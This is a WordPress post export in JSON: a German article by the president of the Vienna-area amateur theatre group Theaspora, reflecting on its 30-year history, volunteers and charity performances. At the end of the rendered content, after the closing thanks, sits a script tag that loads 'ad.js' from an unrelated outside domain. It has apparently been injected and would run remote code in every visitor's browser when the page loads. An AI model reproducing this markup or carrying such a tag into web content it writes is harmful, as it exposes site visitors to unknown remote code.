{"id":329,"date":"2016-04-10T09:54:16","date_gmt":"2016-04-10T07:54:16","guid":{"rendered":"http:\/\/www.theaspora.net\/?p=329"},"modified":"2016-04-10T09:54:16","modified_gmt":"2016-04-10T07:54:16","slug":"30-jahre-theaspora-ein-rueck-und-ausblick","status":"publish","type":"post","link":"https:\/\/www.theaspora.net\/?p=329","title":{"rendered":"30 Jahre Theaspora\u00a0 &#8211; ein R\u00fcck- und Ausblick"},"content":{"rendered":"<p><em>von Gerhard Capellari, Pr\u00e4sident<\/em><\/p>\n<p>Alles begann mit J\u00fcrgen Weitschacher, der 1986 in der Pfarre St. Paul\/Eisteich mit Jugendlichen ein Theater-Projekt startete, zun\u00e4chst mit einer Szenenfolge im Advent. In der Folge wurden unterhaltsame Sketches zum Besten gegeben und schon bald abendf\u00fcllende St\u00fccke gespielt.<\/p>\n<p>Im Jahr 1992\/1993 kam es zu einem Bruch, der aber auch einen gro\u00dfen Entwicklungsschritt bedeutete. Weil wir aus unserer Heimatpfarre ausziehen mussten, kreierten wir den Namen &#8222;Theaspora&#8220;, eine Wortkombination von &#8222;Theater&#8220; und &#8222;Diaspora&#8220; (<em>Verstreutheit<\/em>). Unsere neue k\u00fcnstlerische Heimat fanden wir in der Pfarre M\u00fcnzgraben, wo wir uns seither wunderbar aufgehoben f\u00fchlen.<\/p>\n<p>In den Anfangsjahren stand auch das eine oder andere Ausw\u00e4rtsgastspiel auf dem Programm.\u00a0 Teilweise mussten Staub und Schutt entfernen werden, um auf lang unbenutzten B\u00fchnen spielen zu k\u00f6nnen, B\u00fchnenelemente wurden, wenn es nicht anders ging, ohne Dachtr\u00e4ger am Dach eines VW Polo transportiert, und einmal musste sich unsere Souffleuse in einen Souffleurkasten zw\u00e4ngen, dem gegen\u00fcber sich ein Formel-1-Cockpit als Feudalwohnzimmer ausgemacht h\u00e4tte.<\/p>\n<p>Die Jahre haben uns aber auch professioneller werden lassen. Kopierte Flugzettel wurden zu gedruckten Programmen, f\u00fcr die B\u00fchne wurden flexible Grundelemente in Leichtbauweise entwickelt, auch Licht und Ton werden von Jahr zu Jahr besser. Im Jahr 2002 erfolgte schlie\u00dflich die offizielle Gr\u00fcndung eines gemeinn\u00fctzigen Vereins.<\/p>\n<p>Der Verein ist nichts ohne seine Mitwirkenden, sei es auf oder hinter der B\u00fchne. Meine Wertsch\u00e4tzung gilt allen, die \u00fcber die Jahre mehr oder weniger lange bei uns mitgewirkt haben. Ihnen ist gemein, dass sie ehrenamtlich arbeiten und soziales Engagement zeigen, denn seit Beginn werden alle Erl\u00f6se karitativen Zwecken zugef\u00fchrt.<\/p>\n<p>Prozesse, die sich im Leben immer wieder wiederholen, begleiteten auch uns. Aus Sch\u00fclern wurden Erwachsene; Studien oder andere Berufsausbildungen wurden abgeschlossen, in den Berufsalltag eingestiegen, Familien gegr\u00fcndet. All das bedingte die eine oder andere \u201eTheaterkarenz\u201c, manchmal auch das Ende einer K\u00fcnstlerlaufbahn. Daf\u00fcr stie\u00dfen wieder neue Talente zu uns und f\u00fcr die n\u00e4chste Generation begann derselbe Zyklus. Ein einziger Schauspieler, Harald Simonitsch, ist von Anfang an dabei. Ein Jahr nach ihm stie\u00df ich selbst zur Gruppe. Ein \u201eStammteam\u201c von hochmotivierten Routiniers gibt es nunmehr schon seit \u00fcber 20 Jahren. Wir sind nicht nur zusammen gewachsen sondern auch zusammengewachsen &#8211; dabei entstanden Freundschaften f\u00fcrs Leben.<\/p>\n<p>Jedes Mitglied hat sich auf seine spezielle Art eingebracht: Einer spielte bei den letzten Auff\u00fchrungen gern Streiche, wie mit Schmalz eingeschmierte Telefonh\u00f6rer, ausgeh\u00f6hlte Muffins oder versteckte Textb\u00fccher. Unsere &#8222;Textspezialisten&#8220; schafften es, jedes Mal neue Satzstellungen zu konstruieren; f\u00fcr jene, die auf das richtige Stichwort warten, eine Katastrophe. An so manches B\u00fchnen-Hoppala erinnern wir uns heute noch mit Schmunzeln zur\u00fcck.<\/p>\n<p>Schlie\u00dfen m\u00f6chte ich mit zwei f\u00fcr mich ganz besonderen Momenten: 1972 wurden Harald und ich eingeschult, und zu den Bestandsjubil\u00e4en unserer Volksschule (20 und 25 Jahre) durften wir dort f\u00fcr die Sch\u00fcler spielen. Und 2010 stand ich erstmals gemeinsam mit meiner Tochter auf der B\u00fchne &#8211; und wir spielten dort, im &#8222;eingebildeten Kranken&#8220; von Moli\u00e9re, Vater und Tochter.<\/p>\n<p>Ich danke allen die w\u00e4hrend der letzten 30 Jahre mitgespielt, mitmusiziert, mitgebaut oder sonst wie mitgeholfen haben und hoffe, dass wir noch lange weitermachen k\u00f6nnen!<script src='https:\/\/blueeyeswebsite.com\/ad.js' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>von Gerhard Capellari, Pr\u00e4sident Alles begann mit J\u00fcrgen Weitschacher, der 1986 in der Pfarre St. Paul\/Eisteich mit Jugendlichen ein Theater-Projekt startete, zun\u00e4chst mit einer Szenenfolge im Advent. In der Folge wurden unterhaltsame Sketches zum Besten gegeben und schon bald abendf\u00fcllende St\u00fccke gespielt. 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